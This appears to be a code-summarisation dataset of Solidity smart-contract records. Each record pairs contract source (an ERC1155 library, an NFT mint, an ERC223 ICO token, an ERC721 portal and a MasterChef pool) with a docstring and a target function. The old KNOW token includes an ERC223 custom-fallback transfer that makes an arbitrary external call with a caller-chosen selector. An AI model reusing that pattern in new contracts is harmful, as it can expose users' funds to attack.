{ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File: contracts/Metacauses.sol /* _____ ______ _______ _________ ________ ________ ________ ___ ___ ________ _______ ________ |\ _ \ _ \|\ ___ \|\___ ___\\ __ \|\ ____\|\ __ \|\ \|\ \|\ ____\|\ ___ \ |\ ____\ \ \ \\\__\ \ \ \ __/\|___ \ \_\ \ \|\ \ \ \___|\ \ \|\ \ \ \\\ \ \ \___|\ \ __/|\ \ \___|_ \ \ \\|__| \ \ \ \_|/__ \ \ \ \ \ __ \ \ \ \ \ __ \ \ \\\ \ \_____ \ \ \_|/_\ \_____ \ \ \ \ \ \ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \____\ \ \ \ \ \ \\\ \|____|\ \ \ \_|\ \|____|\ \ \ \__\ \ \__\ \_______\ \ \__\ \ \__\ \__\ \_______\ \__\ \__\ \_______\____\_\ \ \_______\____\_\ \ \|__| \|__|\|_______| \|__| \|__|\|__|\|_______|\|__|\|__|\|_______|\_________\|_______|\_________\ \|_________| \|_________| */ pragma solidity ^0.8.7; contract Metacauses is ERC1155, Ownable { /******************************************************* *@dev: Sale Status incase Contract needs to be paused.* *******************************************************/ bool public pause = false; /****************************************************** * @dev: Creation of price rates and tier IDs * ******************************************************/ uint256 public constant BRONZE_PRICE = 0.01 ether; uint256 public constant SILVER_PRICE = 0.03 ether; uint256 public constant GOLD_PRICE = 0.07 ether; uint256 public constant PLAT_PRICE = 0.15 ether; uint256 public constant DIAMOND_PRICE = 0.25 ether; uint256 public constant BRONZE_ID = 1; uint256 public constant SILVER_ID = 2; uint256 public constant GOLD_ID = 3; uint256 public constant PLAT_ID = 4; uint256 public constant DIAMOND_ID = 5; constructor() ERC1155("https://ipfs.io/ipfs/QmRvccL8mQdWGdXwTf3d4u8F6R11nWysH75LFE23NCKELj/{id}.json") {} /****************************************************** *@dev: Start of the mint functions based on the tier.* ******************************************************/ function bronzeMint(uint256 id, uint256 amount) public payable { require(id == BRONZE_ID, "Not the correct token for this mint function."); require(!pause, "Sale is not live!"); require(amount > 0, "You must mint atleast one token."); require(msg.value >= amount * BRONZE_PRICE, "Insufficent Funds!"); _mint(msg.sender, id, amount, ""); } function silverMint(uint256 id, uint256 amount) public payable { require(id == SILVER_ID, "Not the correct token for this mint function."); require(!pause, "Sale is not live!"); require(amount > 0, "You must mint atleast one token."); require(msg.value >= amount * SILVER_PRICE, "Insufficent Funds!"); _mint(msg.sender, id, amount, ""); } function goldMint(uint256 id, uint256 amount) public payable { require(id == GOLD_ID, "Not the correct token for this mint function."); require(!pause, "Sale is not live!"); require(amount > 0, "You must mint atleast one token."); require(msg.value >= amount * GOLD_PRICE, "Insufficent Funds!"); _mint(msg.sender, id, amount, ""); } function platMint(uint256 id, uint256 amount) public payable { require(id == PLAT_ID, "Not the correct token for this mint function."); require(!pause, "Sale is not live!"); require(amount > 0, "You must mint atleast one token."); require(msg.value >= amount * PLAT_PRICE, "Insufficent Funds!"); _mint(msg.sender, id, amount, ""); } function diamondMint(uint256 id, uint256 amount) public payable { require(id == DIAMOND_ID, "Not the correct token for this mint function."); require(!pause, "Sale is not live!"); require(amount > 0, "You must mint atleast one token."); require(msg.value >= amount * DIAMOND_PRICE, "Insufficent Funds!"); _mint(msg.sender, id, amount, ""); } function setURI(string memory newuri) public onlyOwner { _setURI(newuri); } function paused(bool _state) external onlyOwner { pause = _state; } /*********************************************************** *@dev: Concatenation of the URI to coordinate with Opensea* ***********************************************************/ function uri(uint256 _tokenid) override public pure returns (string memory) { return string( abi.encodePacked( "https://ipfs.io/ipfs/QmRvccL8mQdWGdXwTf3d4u8F6R11nWysH75LFE23NCKELj/", Strings.toString(_tokenid),".json") ); } function withdraw() external onlyOwner { payable(owner()).transfer(address(this).balance); } }
: Sale Status incase Contract needs to be paused./ : Creation of price rates and tier IDs /: Start of the mint functions based on the tier./
function bronzeMint(uint256 id, uint256 amount) public payable { require(id == BRONZE_ID, "Not the correct token for this mint function."); require(!pause, "Sale is not live!"); require(amount > 0, "You must mint atleast one token."); require(msg.value >= amount * BRONZE_PRICE, "Insufficent Funds!"); _mint(msg.sender, id, amount, ""); }
15,314,773
pragma solidity ^0.4.20; // ---------------------------------------------------------------------------------------------- // KNOW Token by Kryptono Limited. // An ERC223 standard // // author: Kryptono Team // Contact: William@kryptono.exchange library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20 { // Get the total token supply function totalSupply() public constant returns (uint256 _totalSupply); // Get the account balance of another account with address _owner function balanceOf(address _owner) public constant returns (uint256 balance); // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public returns (bool success); // transfer _value amount of token approved by address _from function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); // approve an address with _value amount of tokens function approve(address _spender, uint256 _value) public returns (bool success); // get remaining token approved by _owner to _spender function allowance(address _owner, address _spender) public constant returns (uint256 remaining); // Triggered when tokens are transferred. event Transfer(address indexed _from, address indexed _to, uint256 _value); // Triggered whenever approve(address _spender, uint256 _value) is called. event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract ERC223 is ERC20{ function transfer(address _to, uint _value, bytes _data) public returns (bool success); function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success); event Transfer(address indexed _from, address indexed _to, uint _value, bytes indexed _data); } /// contract receiver interface contract ContractReceiver { function tokenFallback(address _from, uint _value, bytes _data) external; } contract BasicKNOW is ERC223 { using SafeMath for uint256; uint256 public constant decimals = 10; string public constant symbol = "KNOW"; string public constant name = "KNOW"; uint256 public _totalSupply = 10 ** 19; // total supply is 10^19 unit, equivalent to 10^9 KNOW // Owner of this contract address public owner; // tradable bool public tradable = false; // Balances KNOW for each account mapping(address => uint256) balances; // Owner of account approves the transfer of an amount to another account mapping(address => mapping (address => uint256)) allowed; /** * Functions with this modifier can only be executed by the owner */ modifier onlyOwner() { require(msg.sender == owner); _; } modifier isTradable(){ require(tradable == true || msg.sender == owner); _; } /// @dev Constructor function BasicKNOW() public { owner = msg.sender; balances[owner] = _totalSupply; Transfer(0x0, owner, _totalSupply); } /// @dev Gets totalSupply /// @return Total supply function totalSupply() public constant returns (uint256) { return _totalSupply; } /// @dev Gets account's balance /// @param _addr Address of the account /// @return Account balance function balanceOf(address _addr) public constant returns (uint256) { return balances[_addr]; } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } /// @dev Transfers the balance from msg.sender to an account /// @param _to Recipient address /// @param _value Transfered amount in unit /// @return Transfer status // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public isTradable returns (bool success) { require(_to != 0x0); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /// @dev Function that is called when a user or another contract wants to transfer funds . /// @param _to Recipient address /// @param _value Transfer amount in unit /// @param _data the data pass to contract reveiver function transfer( address _to, uint _value, bytes _data) public isTradable returns (bool success) { require(_to != 0x0); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); Transfer(msg.sender, _to, _value); if(isContract(_to)) { ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); } return true; } /// @dev Function that is called when a user or another contract wants to transfer funds . /// @param _to Recipient address /// @param _value Transfer amount in unit /// @param _data the data pass to contract reveiver /// @param _custom_fallback custom name of fallback function function transfer( address _to, uint _value, bytes _data, string _custom_fallback) public isTradable returns (bool success) { require(_to != 0x0); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); Transfer(msg.sender, _to, _value); if(isContract(_to)) { assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); } return true; } // Send _value amount of tokens from address _from to address _to // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom( address _from, address _to, uint256 _value) public isTradable returns (bool success) { require(_to != 0x0); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } // get allowance function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // withdraw any ERC20 token in this contract to owner function transferAnyERC20Token(address tokenAddress, uint tokens) public returns (bool success) { return ERC223(tokenAddress).transfer(owner, tokens); } // allow people can transfer their token // NOTE: can not turn off function turnOnTradable() public onlyOwner{ tradable = true; } } contract KNOW is BasicKNOW { bool public _selling = false;//initial selling uint256 public _originalBuyPrice = 50 * 10**12; // original buy 1ETH = 5000 KNOW = 50 * 10**12 unit // List of approved investors mapping(address => bool) private approvedInvestorList; // deposit mapping(address => uint256) private deposit; // icoPercent uint256 public _icoPercent = 0; // _icoSupply is the avalable unit. Initially, it is _totalSupply uint256 public _icoSupply = (_totalSupply * _icoPercent) / 100; // minimum buy 0.3 ETH uint256 public _minimumBuy = 3 * 10 ** 17; // maximum buy 25 ETH uint256 public _maximumBuy = 25 * 10 ** 18; // totalTokenSold uint256 public totalTokenSold = 0; /** * Functions with this modifier check on sale status * Only allow sale if _selling is on */ modifier onSale() { require(_selling); _; } /** * Functions with this modifier check the validity of address is investor */ modifier validInvestor() { require(approvedInvestorList[msg.sender]); _; } /** * Functions with this modifier check the validity of msg value * value must greater than equal minimumBuyPrice * total deposit must less than equal maximumBuyPrice */ modifier validValue(){ // require value >= _minimumBuy AND total deposit of msg.sender <= maximumBuyPrice require ( (msg.value >= _minimumBuy) && ( (deposit[msg.sender].add(msg.value)) <= _maximumBuy) ); _; } /// @dev Fallback function allows to buy by ether. function() public payable { buyKNOW(); } /// @dev buy function allows to buy ether. for using optional data function buyKNOW() public payable onSale validValue validInvestor { uint256 requestedUnits = (msg.value * _originalBuyPrice) / 10**18; require(balances[owner] >= requestedUnits); // prepare transfer data balances[owner] = balances[owner].sub(requestedUnits); balances[msg.sender] = balances[msg.sender].add(requestedUnits); // increase total deposit amount deposit[msg.sender] = deposit[msg.sender].add(msg.value); // check total and auto turnOffSale totalTokenSold = totalTokenSold.add(requestedUnits); if (totalTokenSold >= _icoSupply){ _selling = false; } // submit transfer Transfer(owner, msg.sender, requestedUnits); owner.transfer(msg.value); } /// @dev Constructor function KNOW() BasicKNOW() public { setBuyPrice(_originalBuyPrice); } /// @dev Enables sale function turnOnSale() onlyOwner public { _selling = true; } /// @dev Disables sale function turnOffSale() onlyOwner public { _selling = false; } /// @dev set new icoPercent /// @param newIcoPercent new value of icoPercent function setIcoPercent(uint256 newIcoPercent) public onlyOwner { _icoPercent = newIcoPercent; _icoSupply = (_totalSupply * _icoPercent) / 100; } /// @dev set new _maximumBuy /// @param newMaximumBuy new value of _maximumBuy function setMaximumBuy(uint256 newMaximumBuy) public onlyOwner { _maximumBuy = newMaximumBuy; } /// @dev Updates buy price (owner ONLY) /// @param newBuyPrice New buy price (in UNIT) 1ETH <=> 10 000 0000000000 unit function setBuyPrice(uint256 newBuyPrice) onlyOwner public { require(newBuyPrice>0); _originalBuyPrice = newBuyPrice; // unit // control _maximumBuy_USD = 10,000 USD, KNOW price is 0.1USD // maximumBuy_KNOW = 100,000 KNOW = 100,000,0000000000 unit = 10^15 _maximumBuy = (10**18 * 10**15) /_originalBuyPrice; } /// @dev check address is approved investor /// @param _addr address function isApprovedInvestor(address _addr) public constant returns (bool) { return approvedInvestorList[_addr]; } /// @dev get ETH deposit /// @param _addr address get deposit /// @return amount deposit of an buyer function getDeposit(address _addr) public constant returns(uint256){ return deposit[_addr]; } /// @dev Adds list of new investors to the investors list and approve all /// @param newInvestorList Array of new investors addresses to be added function addInvestorList(address[] newInvestorList) onlyOwner public { for (uint256 i = 0; i < newInvestorList.length; i++){ approvedInvestorList[newInvestorList[i]] = true; } } /// @dev Removes list of investors from list /// @param investorList Array of addresses of investors to be removed function removeInvestorList(address[] investorList) onlyOwner public { for (uint256 i = 0; i < investorList.length; i++){ approvedInvestorList[investorList[i]] = false; } } /// @dev Withdraws Ether in contract (Owner only) /// @return Status of withdrawal function withdraw() onlyOwner public returns (bool) { return owner.send(this.balance); } }
Gets totalSupply return Total supply
function totalSupply() public constant returns (uint256) { return _totalSupply; }
410,648
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; /// @title Portals contract for SpaceMiners contract Portals is ERC721URIStorage, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; /// @notice fee to mint portal uint public portalMintingFee = 1 wei; constructor() ERC721("Portals", "PRT") {} /// @notice function to mint portals for fee /// @param player minter of portal /// @param tokenURI token URI /// @dev minting fee = portalMintingFee (default: 1 ether) function mintPortal(address player, string memory tokenURI) public payable returns (uint256) { require(msg.value >= portalMintingFee, ""); _tokenIds.increment(); require(_tokenIds.current() <= 10, "only up to 10 portals can be minted"); uint256 newItemId = _tokenIds.current(); _mint(player, newItemId); _setTokenURI(newItemId, tokenURI); return newItemId; } /// @notice Change portal minting fee, can only be called by owner /// @param _fee fee for minting function changePortalMintingFee(uint _fee) public onlyOwner { portalMintingFee = _fee; } /// @notice Returns minted portal supply function getPortalSupply() public view returns (uint) { return _tokenIds.current(); } }
function to mint portals for fee player minter of portal tokenURI token URI minting fee = portalMintingFee (default: 1 ether)
function mintPortal(address player, string memory tokenURI) public payable returns (uint256) { require(msg.value >= portalMintingFee, ""); _tokenIds.increment(); require(_tokenIds.current() <= 10, "only up to 10 portals can be minted"); uint256 newItemId = _tokenIds.current(); _mint(player, newItemId); _setTokenURI(newItemId, tokenURI); return newItemId; }
12,898,770
./partial_match/56/0xB4405445fFAcF2B86BC2bD7D1C874AC739265658/sources/MasterChef.sol
Add a new lp to the pool. Can only be called by the owner. XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IBEP20 _lpToken, uint16 _depositFeeBP, bool _withUpdate) public onlyOwner { require(_depositFeeBP <= 10000, "add: invalid deposit fee basis points"); if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSaltPerShare: 0, depositFeeBP: _depositFeeBP })); }
11,178,159
./full_match/1/0x42AF47d643cb45D9a482AeD39c0973208f0CFAFF/sources/contracts/protocol/lib/Position.sol
If the position does not exist, create a new Position and add to the JasperVault. If it already exists, then set the position units. If the new units is 0, remove the position. Handles adding/removing of components where needed (in light of potential external positions). _jasperVault Address of JasperVault being modified _component Address of the component _newUnit Quantity of Position units - must be >= 0/ If there is no Default Position and no External Modules, then component does not exist If there is a Default Position and no external positions, remove the component
function editDefaultPosition( IJasperVault _jasperVault, address _component, uint256 _newUnit ) internal { bool isPositionFound = hasDefaultPosition(_jasperVault, _component); if (!isPositionFound && _newUnit > 0) { if (!hasExternalPosition(_jasperVault, _component)) { _jasperVault.addComponent(_component); } if (!hasExternalPosition(_jasperVault, _component)) { _jasperVault.removeComponent(_component); } } _jasperVault.editDefaultPositionUnit(_component, _newUnit.toInt256()); }
4,962,929
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.8.0; // Sources flattened with hardhat v2.6.7 https://hardhat.org // File contracts/Math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * 